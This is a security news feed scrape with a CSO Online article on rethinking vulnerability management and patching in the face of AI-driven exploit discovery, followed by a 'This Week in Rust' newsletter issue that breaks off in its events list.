<guid isPermaLink="true">https://tsecurity.de/de/3672628/it-security-nachrichten/flaw-surge-fuels-need-for-cisos-to-rethink-vulnerability-management/</guid>
<pubDate>Thu, 16 Jul 2026 09:24:31 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
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<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Security experts are calling on enterprises to revise their vulnerability management strategies and move towards “just in time” patching in response the increased pace of vulnerability exploitation.</p>



<p class="wp-block-paragraph">Attackers are <a href="https://www.csoonline.com/article/4181924/ai-worm-prototype-shows-attackers-dont-need-mythos-to-take-over-your-network.html">turning to AI</a> to increase the <a href="https://www.csoonline.com/article/3632268/gen-ai-is-transforming-the-cyber-threat-landscape-by-democratizing-vulnerability-hunting.html">rate of vulnerability exploitation</a> and supply chain compromise so that traditional forms of vulnerability management are no longer keeping pace.</p>



<p class="wp-block-paragraph">Muhammad Yahya Patel, vCISO and cybersecurity advisor for EMEA at managed security services vendor Huntress, recently <a href="https://www.csoonline.com/article/4176086/vulnerabilities-have-become-cyber-attackers-no-1-door-to-the-enterprise.html">told CSO</a> that “organizations need to shift their vulnerability management program to a risk-based, continuous [approach], tied to real-time exploitation intelligence — not scheduled patch cycles that leave exploitation windows wide open for days and weeks.”</p>



<h2 class="wp-block-heading">Wild frontier</h2>



<p class="wp-block-paragraph">Frontier AI tools such as Claude Mythos have <a href="https://www.csoonline.com/article/4158117/anthropics-mythos-signals-a-structural-cybersecurity-shift.html">signaled a structural shift for cybersecurity</a>, readily surfacing vulnerabilities at a huge scale — a development that, as government security assurance organizations such as the UK’s National Cyber Security Centre point out, is likely to lead to a surge in patches.</p>



<p class="wp-block-paragraph">“Most organizations already struggle to fix known issues quickly, so a spike in AI-driven discovery could easily overwhelm teams and widen the gap between finding problems and fixing them,” Andrew Woodford, CTO at network security vendor Titania, tells CSO. “In many ways, this just exposes a problem that’s already there.”</p>



<p class="wp-block-paragraph">Shane Fry, CTO at cybersecurity vendor RunSafe Security, argues that <a href="https://www.csoonline.com/article/3520881/patch-management-a-dull-it-pain-that-wont-go-away.html">patching as a security strategy</a> has been in crisis for years, and AI-accelerated vulnerability discovery has simply pushed it over the edge.</p>



<p class="wp-block-paragraph">Some experts contend that virtual patching — a technique that involves blocking exploit attempts at a security layer rather than fixing vulnerable code — represents a sound mitigation strategy, but Fry has reservations about the approach.</p>



<p class="wp-block-paragraph">“While virtual patching will play a role going forward, its effectiveness is limited and leaves security teams chasing a gap they will never be able to close,” Fry says.</p>



<p class="wp-block-paragraph">Instead, security teams need to shift toward mitigation-first approaches that make it impossible for attackers to exploit bugs in software.</p>



<p class="wp-block-paragraph">“Removing entire classes of exploits upfront takes the heat out of the patch gap, and allows patching to become strategic rather than reactive,” Fry argues.</p>



<h2 class="wp-block-heading">‘Assume Autonomy’</h2>



<p class="wp-block-paragraph">The conventional patch management model was designed around a world where vulnerability discovery happened at human speed: A human researcher finds a flaw, reports it, a CVE gets assigned, vendors ship a fix, enterprises test and deploy it — a process that can take weeks.</p>



<p class="wp-block-paragraph">AI-powered vulnerability discovery blows this model out of the water.</p>



<p class="wp-block-paragraph">“If offensive AI can identify, validate, and exploit vulnerabilities without human authorization, a 43-day median patch time, as noted in Verizon’s DBIR, is the least of your problems,” argues Rik Ferguson, vice president of security intelligence at Forescout. “An AI system doesn’t wait for a proof-of-concept to circulate on GitHub or a CVSS score to land in a dashboard. It finds the flaw, confirms exploitability, and moves.”</p>



<p class="wp-block-paragraph">Ferguson advocates a change of approach toward what he describes as “Assume Autonomy.”</p>



<p class="wp-block-paragraph">“The question is what compensating controls you put in place between discovery and remediation, and how you constrain what an attacker can do with access they’ve already acquired,” Ferguson explains.</p>



<p class="wp-block-paragraph">Just-in-time patching fits in with this philosophy and is a desirable goal but may be difficult to achieve in practice especially for the many enterprises that struggle with asset management.</p>



<p class="wp-block-paragraph">“Just-in-time patching is sound in principle: prioritize and deploy fixes as exploitation intelligence emerges rather than waiting for the scheduled window,” Ferguson says. “But achieving it has some real-world requirements: continuous asset visibility, knowing precisely what you have, where it is, and what its current exposure status is.”</p>



<p class="wp-block-paragraph">For example, Ferguson adds, “you can’t patch just-in-time against a vulnerability in a device you didn’t know was on your network.”</p>



<h2 class="wp-block-heading">Virtual patching</h2>



<p class="wp-block-paragraph">Gunter Ollmann, CTO at pen testing as a service firm Cobalt, notes that just-in-time patching makes sense if and when a patch is available — but that’s not always possible.</p>



<p class="wp-block-paragraph">“The major problem lies in the discovery of new vulnerabilities in code or systems that the business has no rights or capabilities to fix themselves, and they have a dependence upon third parties to develop the fix or patch — and are therefore subject to external SLA [service level agreement] turnarounds,” Ollmann explains.</p>



<p class="wp-block-paragraph">In such cases, enterprises will need to deploy virtual patches capable of blocking or deflecting the exploitation vectors of the vulnerable system.</p>



<p class="wp-block-paragraph">“Businesses are in desperate need of quickly deciphering a new vulnerability and dynamically creating an appropriate blocking rule — or rules — for their layered defenses,” Ollmann says.</p>



<p class="wp-block-paragraph">Virtual patching may mitigate security threats particularly in operational technology (OT) and IoT environments where applying a vendor patch to a running production system risks unplanned downtime or safety system interruption but only serves as a stop gap, Ferguson tells CSO.</p>



<p class="wp-block-paragraph">“A network-layer control that blocks exploitation of a known flaw, while you work through the testing and deployment cycle for the actual fix, is a compensating control,” notes Ferguson, who warns that virtual patches come with multiple drawbacks.</p>



<p class="wp-block-paragraph">“Virtual patches require accurate detection signatures, they don’t remediate the underlying vulnerability, and they can create a false sense of closure that delays proper patching indefinitely,” Ferguson argues. “The risk is that temporary becomes permanent. The underlying vulnerability stays open, and the virtual patch becomes the reason nobody revisits it.”</p>



<h2 class="wp-block-heading">Just-in-time risk reduction</h2>



<p class="wp-block-paragraph">Douglas McKee, director of vulnerability intelligence at Rapid7, advocates what he describes as just-in-time risk reduction rather than just-in-time patching because of the practical difficulties with the latter.</p>



<p class="wp-block-paragraph">“In the real world, especially in OT, medical devices, and business-critical systems, you can’t always patch the second a CVE drops,” McKee argues. “You still need testing, maintenance windows, rollback plans, and someone who actually owns the asset. However, the old monthly scan, report, and remediation cycle will not survive this pace.”</p>



<h2 class="wp-block-heading">Tips for modernizing vulnerability management</h2>



<p class="wp-block-paragraph">The enterprise attack surface has expanded significantly of late, and patch management models haven’t kept up. In response, security leaders’ vulnerability management strategies have to become more of a continuous monitoring function, not a triage and remediation process.</p>



<p class="wp-block-paragraph">Modernizing enterprise approaches to vulnerability management involves “real-time exploitation intelligence integrated into prioritization, compensating controls deployed at discovery rather than at patch release, and visibility across the full asset estate that conventional patch management tools were never designed to cover,” Ferguson says.</p>



<p class="wp-block-paragraph">Rapid7’s McKee stresses that security teams need to separate “known vulnerable” from “actually reachable and exploitable in my environment.”</p>



<p class="wp-block-paragraph">This process can be achieved through a combination of asset inventory, internet exposure mapping, KEV tracking, vulnerability intelligence, ownership, and emergency change paths.</p>



<p class="wp-block-paragraph">“Prioritization based on risk factors like public exposure, known exploitation, automation potential, and technical impact is key,” McKee concludes.</p>
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<item>
<title><![CDATA[This Week In Rust: This Week in Rust 660]]></title>
<description><![CDATA[Hello and welcome to another issue of This Week in Rust!
Rust is a programming language empowering everyone to build reliable and efficient software.
This is a weekly summary of its progress and community.
Want something mentioned? Tag us at
@thisweekinrust.bsky.social on Bluesky or
@ThisWeekinRu...]]></description>
<link>https://tsecurity.de/de/3672376/tools/this-week-in-rust-this-week-in-rust-660/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3672376/tools/this-week-in-rust-this-week-in-rust-660/</guid>
<pubDate>Thu, 16 Jul 2026 07:09:13 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Hello and welcome to another issue of <em>This Week in Rust</em>!
<a href="https://www.rust-lang.org/">Rust</a> is a programming language empowering everyone to build reliable and efficient software.
This is a weekly summary of its progress and community.
Want something mentioned? Tag us at
<a href="https://bsky.app/profile/thisweekinrust.bsky.social">@thisweekinrust.bsky.social</a> on Bluesky or
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<a href="https://github.com/rust-lang/this-week-in-rust">send us a pull request</a>.
Want to get involved? <a href="https://github.com/rust-lang/rust/blob/main/CONTRIBUTING.md">We love contributions</a>.</p>
<p><em>This Week in Rust</em> is openly developed <a href="https://github.com/rust-lang/this-week-in-rust">on GitHub</a> and archives can be viewed at <a href="https://this-week-in-rust.org/">this-week-in-rust.org</a>.
If you find any errors in this week's issue, <a href="https://github.com/rust-lang/this-week-in-rust/pulls">please submit a PR</a>.</p>
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<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#updates-from-rust-community">Updates from Rust Community</a></h4>


<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#official">Official</a></h5>
<ul>
<li><a href="https://blog.rust-lang.org/2026/07/09/Rust-1.97.0/">Announcing Rust 1.97.0</a></li>
<li><a href="https://blog.rust-lang.org/2026/07/13/crates-io-development-update/">crates.io: development update</a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#projecttooling-updates">Project/Tooling Updates</a></h5>
<ul>
<li><a href="https://bun.com/blog/bun-in-rust">Rewriting Bun in Rust</a></li>
<li><a href="https://bullmq.io/news/260712/rust-release/">Announcing BullMQ for Rust</a></li>
<li><a href="https://github.com/zs-dima/prost-protovalidate/releases/tag/v0.6.0">prost-protovalidate 0.6 — buf.validate (protovalidate) for prost and buffa: compile-time codegen + runtime CEL, 2872/2872 conformance</a></li>
<li><a href="https://github.com/StaszeKrk/plaza/releases/tag/v1.0.0">plaza 1.0: a ratatui package-manager TUI that searches pacman, the AUR, apt, dnf, and Flatpak at once</a></li>
<li><a href="https://github.com/danube-messaging/danube/releases/tag/v0.15.1">Danube v0.15.1: native Apache Iceberg integration for streaming-to-lakehouse export</a></li>
<li><a href="https://www.willsearch.com.br/sentinel/">Guardian Sentinel. The Terminal User Interface for Guardian Decentralized Database - P2P</a></li>
<li><a href="https://github.com/kunobi-ninja/kobe/releases/tag/v0.33.0">kobe 0.33.0: a Rust operator for instant CI Kubernetes clusters</a></li>
<li><a href="https://navigatorbuilds.github.io/elara-mesh/blog/black-box-for-ai-agents.html">Elara Mesh: what the black box for AI agents actually does</a></li>
<li>
<p><a href="https://github.com/kunobi-ninja/kache/releases/tag/v0.10.0">kache 0.10.0: instant download dedup, no more polling</a></p>
</li>
<li>
<p><a href="https://richer-richard.github.io/cochlea/">cochlea 0.1.0: a headless, deterministic audio engine for AI agents</a></p>
</li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#observationsthoughts">Observations/Thoughts</a></h5>
<ul>
<li><a href="https://opensourcesecurity.io/2026/2026-07-rfmf-lori-niko/">Open Source Security Podcast: Rust Foundation Maintainers Fund with Lori and Niko</a></li>
<li><a href="https://pulsebeam.dev/blog/moving-to-thread-per-core">Moving a Rust WebRTC SFU to thread-per-core</a></li>
<li><a href="https://abundance.build/blog/2026-07-11-faster-rust-tests-in-ci-with-parallel-steps/">Faster Rust tests in CI with parallel steps</a></li>
<li>[video] <a href="https://www.youtube.com/watch?v=fugcSHD-9Jw">The Only Diagram You Need to Understand Rust Ownership</a></li>
<li><a href="https://encore.dev/blog/typescript-parser-wasm">We compiled our TypeScript parser to WASM</a></li>
<li><a href="https://kerkour.com/rust-hype">Understanding the Rust hype for the busy developer</a></li>
<li><a href="https://dev.to/akavlabs_69/i-red-teamed-my-own-llm-security-gateway-in-four-passes-heres-every-gap-i-found-5cl9">I red-teamed my own LLM security gateway (Rust) in four passes — every detection gap and how I closed it</a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#rust-walkthroughs">Rust Walkthroughs</a></h5>
<ul>
<li>[video] <a href="https://www.youtube.com/watch?v=DJhhy6YQe8k">Backend Concepts in Rust: HTTP Servers</a></li>
<li><a href="https://dystroy.org/blog/picamobile/">Fearless Embedded Rust: A FPV Lego car</a></li>
<li><a href="https://www.aravpanwar.com/writing/building-decayfmt-in-rust/">What I learned building a self-corrupting file format in Rust</a></li>
<li><a href="https://corentin-core.github.io/posts/ruxe-async-runtime-agnostic/">Come Async You Are</a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#miscellaneous">Miscellaneous</a></h5>
<ul>
<li><a href="https://blog.theembeddedrustacean.com/oxidize-xiao">Oxidize XIAO — An Embedded Rust Community Program</a></li>
</ul>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#crate-of-the-week">Crate of the Week</a></h4>
<p>This week's crate is <a href="https://crates.io/crates/dashu">dashu</a>, a pure Rust set of libraries of arbitrary precision numbers.</p>
<p>Thanks to <a href="https://users.rust-lang.org/t/crate-of-the-week/2704/1628">JacobZ</a> for the self-suggestion!</p>
<p><a href="https://users.rust-lang.org/t/crate-of-the-week/2704">Please submit your suggestions and votes for next week</a>!</p>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#calls-for-testing">Calls for Testing</a></h4>
<p>An important step for RFC implementation is for people to experiment with the
implementation and give feedback, especially before stabilization.</p>
<p>If you are a feature implementer and would like your RFC to appear in this list, add a
<code>call-for-testing</code> label to your RFC along with a comment providing testing instructions and/or
guidance on which aspect(s) of the feature need testing.</p>
<p><em>No calls for testing were issued this week by
<a href="https://github.com/rust-lang/rust/issues?q=state%3Aopen%20label%3Acall-for-testing%20state%3Aopen">Rust</a>,
<a href="https://github.com/rust-lang/cargo/issues?q=state%3Aopen%20label%3Acall-for-testing%20state%3Aopen">Cargo</a>,
<a href="https://github.com/rust-lang/rustup/issues?q=state%3Aopen%20label%3Acall-for-testing%20state%3Aopen">Rustup</a> or
<a href="https://github.com/rust-lang/rfcs/issues?q=label%3Acall-for-testing%20state%3Aopen">Rust language RFCs</a>.</em></p>
<p><a href="https://github.com/rust-lang/this-week-in-rust/issues">Let us know</a> if you would like your feature to be tracked as a part of this list.</p>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#call-for-participation-projects-and-speakers">Call for Participation; projects and speakers</a></h4>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#cfp-projects">CFP - Projects</a></h5>
<p>Always wanted to contribute to open-source projects but did not know where to start?
Every week we highlight some tasks from the Rust community for you to pick and get started!</p>
<p>Some of these tasks may also have mentors available, visit the task page for more information.</p>



<ul>
<li><a href="https://github.com/supernovae-st/nika/issues/424">Nika - showcase: CSV → chart PNG → markdown report (nika:chart has no example yet)</a></li>
</ul>


<p>If you are a Rust project owner and are looking for contributors, please submit tasks <a href="https://github.com/rust-lang/this-week-in-rust?tab=readme-ov-file#call-for-participation-guidelines">here</a> or through a <a href="https://github.com/rust-lang/this-week-in-rust">PR to TWiR</a> or by reaching out on <a href="https://bsky.app/profile/thisweekinrust.bsky.social">Bluesky</a> or <a href="https://mastodon.social/@thisweekinrust">Mastodon</a>!</p>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#cfp-events">CFP - Events</a></h5>
<p>Are you a new or experienced speaker looking for a place to share something cool? This section highlights events that are being planned and are accepting submissions to join their event as a speaker.</p>



<p>If you are an event organizer hoping to expand the reach of your event, please submit a link to the website through a <a href="https://github.com/rust-lang/this-week-in-rust">PR to TWiR</a> or by reaching out on <a href="https://bsky.app/profile/thisweekinrust.bsky.social">Bluesky</a> or <a href="https://mastodon.social/@thisweekinrust">Mastodon</a>!</p>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#updates-from-the-rust-project">Updates from the Rust Project</a></h4>
<p>550 pull requests were <a href="https://github.com/search?q=is%3Apr+org%3Arust-lang+is%3Amerged+merged%3A2026-07-07..2026-07-14">merged in the last week</a></p>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#compiler">Compiler</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rust/pull/158931">inline some <code>Symbol</code> functions</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/157104">predicate/clause cleanups</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158942">remove some AST <code>tokens</code> fields</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/159019">resolver: wrap arenas in <code>WorkerLocal</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158794">rework read deduplication with pooled read recorders</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/159012">shrink <code>mir::Statement</code> to 40 bytes</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/157491">shrink no-op drop elaboration</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158865">specialize common <code>(1, 1)</code> case for arg unification</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158842">use SmallVec for return places in MIR</a></li>
</ul>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#library">Library</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rust/pull/158866">add explicit <code>Iterator::count</code> impl for <code>ChunkBy</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/157153">allow <code>Allocator</code>s to be used as <code>#[global_allocator]</code>s</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158876">fix multiple logic bugs in <code>Arc::make_mut</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158940">implement feature <code>char_to_u32</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/159092">make volatile operations const</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158541">move <code>std::io::Write</code> to <code>core::io</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/159099">stabilize <code>String::from_utf8_lossy_owned</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/151379">stabilize <code>VecDeque::retain_back</code> from <code>truncate_front</code></a></li>
</ul>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#cargo">Cargo</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/cargo/pull/17199"><code>install</code>: Move --debug to Compilation options</a></li>
<li><a href="https://github.com/rust-lang/cargo/pull/17204"><code>source</code>: incorrect duplicate package warning</a></li>
<li><a href="https://github.com/rust-lang/cargo/pull/17202">fix manifest schema generation: <code>TomlDebugInfo</code> enum-variants doesn't renamed</a></li>
<li><a href="https://github.com/rust-lang/cargo/pull/17198">dont apply host-config gating to stable behavior</a></li>
<li><a href="https://github.com/rust-lang/cargo/pull/17191">reduce library search path length in new build dir layout</a></li>
<li><a href="https://github.com/rust-lang/cargo/pull/17168">reduce rustc <code>-L</code> args used in the new <code>build-dir</code> layout</a></li>
<li><a href="https://github.com/rust-lang/cargo/pull/17149">rename <code>-Zno-embed-metadata</code> to <code>-Zembed-metadata=no</code></a></li>
<li><a href="https://github.com/rust-lang/cargo/pull/17203">test: fix race in <code>cargo_compile_with_invalid_code_in_deps</code></a></li>
</ul>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#clippy">Clippy</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/15000">add new lints: <code>rest_pattern_accessible_field</code> and <code>unnecessary_rest_pattern</code></a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/16965">new lint: <code>definition_in_module_root</code></a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17343"><code>arbitrary_source_item_ordering</code>: add configurable trait impl item ordering modes</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17387"><code>tests_outside_test_module</code>: put code in backticks in the lint message</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17215">count length of the first paragraph by its text</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/16980">fix <code>suboptimal_flops</code> false negative with ambiguous float literals</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17416">partly disable <code>unneeded_wildcard_pattern</code> when <code>rest_pattern_accessible_field</code> is enabled</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17404">respect the configured MSRV in <code>implicit_saturating_sub</code>'s <code>if x != 0 { x -= 1 }</code> rewrite</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/16513">trigger <code>single_element_loop</code> if the block contains only a final expression</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/16808">optimize <code>nonstandard_macro_braces</code> by 99.9683% (1.1b → 351K)</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17381">perf: bail out of the <code>disallowed_methods</code> rule if the disallowed list is empty</a></li>
</ul>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#rust-analyzer">Rust-Analyzer</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22771">ask for disclosure in AI contributions</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22734">add fixes for array length for <code>type_mismatch</code></a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22741">add parens in transformed dyn type in ref type</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22736">avoid panic in merge imports on trailing path separator</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22654">change some things for <code>#[doc = macro!()]</code> expansion</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22770">clamp cttz const-eval result to type width</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22751">correctly handled cfg'ed tail expr, take 2</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22749">crash on code actions when an unresolved module is present</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22707">crash when computing diagnostics with MIR and error types</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22744">don't complete default in default impl</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22283">early late classification of lifetimes</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22583">fix <code>render_const_using_debug_impl</code> constructing outdated std layouts</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22735">fix proc macros <code>TokenStream::from_str()</code> for doc comments</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22464">hide private fields on hover depending on context</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22753">make lsp-server <code>Response</code> type closer aligned to JSON-RPC</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22535">pretty assoc const when trait in macro</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22747">reimplement <code>crate_supports_no_std</code> syntactic heuristic</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22773">resolve non-plain paths in blocks correctly</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22683">support Cargo 1.97.0 lockfile path setting</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22405">hir-ty: walk container exprs for <code>unused_must_use</code></a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22768">fix onEnter erroneously deleting/interpreting <code>$foo</code></a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22726">suggest code action fixes produced from diagnostics under cursor, even if they have effects elsewhere</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22777">treat library files as truly client immutable</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22534">turn <code>BlockLoc</code> into a tracked struct, take 3</a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#rust-compiler-performance-triage">Rust Compiler Performance Triage</a></h5>
<p>This week many new optimizations landed, making this a very good week for performance.
The only real regression was a fix for a miscompile that will likely be re-landed in the future.</p>
<p>Triage done by <strong>@JonathanBrouwer</strong>.
Revision range: <a href="https://perf.rust-lang.org/?start=3659db0d3e2cd634c766fcda79ed118eca31a9fd&amp;end=5503df87342a73d0c29126a7e08dc9c1255c46ad&amp;absolute=false&amp;stat=instructions%3Au">3659db0d..5503df87</a></p>
<p><strong>Summary</strong>:</p>
<table>
<thead>
<tr>
<th>(instructions:u)</th>
<th>mean</th>
<th>range</th>
<th>count</th>
</tr>
</thead>
<tbody>
<tr>
<td>Regressions ❌ <br> (primary)</td>
<td>0.3%</td>
<td>[0.2%, 0.4%]</td>
<td>3</td>
</tr>
<tr>
<td>Regressions ❌ <br> (secondary)</td>
<td>0.9%</td>
<td>[0.1%, 2.5%]</td>
<td>25</td>
</tr>
<tr>
<td>Improvements ✅ <br> (primary)</td>
<td>-1.2%</td>
<td>[-9.9%, -0.2%]</td>
<td>195</td>
</tr>
<tr>
<td>Improvements ✅ <br> (secondary)</td>
<td>-3.4%</td>
<td>[-92.1%, -0.1%]</td>
<td>174</td>
</tr>
<tr>
<td>All ❌✅ (primary)</td>
<td>-1.2%</td>
<td>[-9.9%, 0.4%]</td>
<td>198</td>
</tr>
</tbody>
</table>
<p>2 Regressions, 10 Improvements, 10 Mixed; 7 of them in rollups
36 artifact comparisons made in total</p>
<p><a href="https://github.com/rust-lang/rustc-perf/blob/212da2d63f1edf2ab22293547a99f0fbf8cb68a8/triage/2026/2026-07-13.md">Full report here</a></p>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#approved-rfcs"></a><a href="https://github.com/rust-lang/rfcs/commits/master">Approved RFCs</a></h5>
<p>Changes to Rust follow the Rust <a href="https://github.com/rust-lang/rfcs#rust-rfcs">RFC (request for comments) process</a>. These
are the RFCs that were approved for implementation this week:</p>
<ul>
<li><a href="https://github.com/rust-lang/rfcs/pull/3955">Named <code>Fn</code> trait parameters</a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#final-comment-period">Final Comment Period</a></h5>
<p>Every week, <a href="https://www.rust-lang.org/team.html">the team</a> announces the 'final comment period' for RFCs and key PRs
which are reaching a decision. Express your opinions now.</p>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#tracking-issues-prs">Tracking Issues &amp; PRs</a></h6>
<a class="toclink" href="https://this-week-in-rust.org/atom.xml#rust"></a><a href="https://github.com/rust-lang/rust/issues?q=is%3Aopen%20label%3Afinal-comment-period%20sort%3Aupdated-desc%20state%3Aopen">Rust</a>
<ul>
<li><a href="https://github.com/rust-lang/rust/pull/159179">enable <code>unreachable_cfg_select_predicates</code> lint as part of <code>unused</code> lint group</a></li>
<li><a href="https://github.com/rust-lang/rust/issues/156906">Stabilize <code>dyn Allocator</code></a></li>
<li><a href="https://github.com/rust-lang/rust/issues/146954">Tracking Issue for vec_try_remove</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/157226">Partially stabilize <code>box_vec_non_null</code></a></li>
<li><a href="https://github.com/rust-lang/rust/issues/152761">Never break between empty parens</a></li>
</ul>
<a class="toclink" href="https://this-week-in-rust.org/atom.xml#compiler-team-mcps-only"></a><a href="https://github.com/rust-lang/compiler-team/issues?q=label%3Amajor-change%20label%3Afinal-comment-period%20state%3Aopen">Compiler Team</a> <a href="https://forge.rust-lang.org/compiler/mcp.html">(MCPs only)</a>
<ul>
<li><a href="https://github.com/rust-lang/compiler-team/issues/1015">Enable <code>-Zpolonius=next</code> on nightly</a></li>
<li><a href="https://github.com/rust-lang/compiler-team/issues/1014">Enable <code>-Znext-solver</code> on nightly by default for testing</a></li>
<li><a href="https://github.com/rust-lang/compiler-team/issues/1012">Stabilizing the state of the debuginfo test suite</a></li>
<li><a href="https://github.com/rust-lang/compiler-team/issues/922">Optimize <code>repr(Rust)</code> enums by omitting tags in more cases involving uninhabited variants.</a></li>
<li><a href="https://github.com/rust-lang/compiler-team/issues/841">Proposal for Adapt Stack Protector for Rust</a></li>
</ul>
<p><em>No Items entered Final Comment Period this week for
<a href="https://github.com/rust-lang/cargo/issues?q=is%3Aopen%20label%3Afinal-comment-period%20sort%3Aupdated-desc%20state%3Aopen">Cargo</a>,
<a href="https://github.com/rust-lang/reference/issues?q=is%3Aopen%20label%3Afinal-comment-period%20sort%3Aupdated-desc%20state%3Aopen">Language Reference</a>,
<a href="https://github.com/rust-lang/lang-team/issues?q=is%3Aopen%20label%3Afinal-comment-period%20sort%3Aupdated-desc%20state%3Aopen">Language Team</a>,
<a href="https://github.com/rust-lang/leadership-council/issues?q=state%3Aopen%20label%3Afinal-comment-period%20state%3Aopen">Leadership Council</a>,
<a href="https://github.com/rust-lang/rfcs/issues?q=state%3Aopen%20label%3Afinal-comment-period%20state%3Aopen">Rust RFCs</a> or
<a href="https://github.com/rust-lang/unsafe-code-guidelines/issues?q=is%3Aopen%20label%3Afinal-comment-period%20sort%3Aupdated-desc%20state%3Aopen">Unsafe Code Guidelines</a>.</em></p>
<p>Let us know if you would like your PRs, Tracking Issues or RFCs to be tracked as a part of this list.</p>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#new-and-updated-rfcs"></a><a href="https://github.com/rust-lang/rfcs/pulls">New and Updated RFCs</a></h5>
<ul>
<li><a href="https://github.com/rust-lang/rfcs/pull/3983">bf16 primitive type</a></li>
</ul>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#upcoming-events">Upcoming Events</a></h4>
<p>Rusty Events between 2026-07-15 - 2026-08-12 🦀</p>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#virtual">Virtual</a></h5>
<ul>
<li>2026-07-15 | Virtual (Girona, ES) | <a href="https://luma.com/rust-girona">Rust Girona</a><ul>
<li><a href="https://luma.com/21k797xr"><strong>Sessió setmanal de codificació / Weekly coding session</strong></a></li>
</ul>
</li>
<li>2026-07-15 | Hybrid (Vancouver, BC, CA) | <a href="https://www.meetup.com/vancouver-rust">Vancouver Rust</a><ul>
<li><a href="https://www.meetup.com/vancouver-rust/events/314233743/"><strong>Jiff</strong></a></li>
</ul>
</li>
<li>2026-07-16 | Hybrid (Seattle, WA, US) | <a href="https://www.meetup.com/join-srug">Seattle Rust User Group</a><ul>
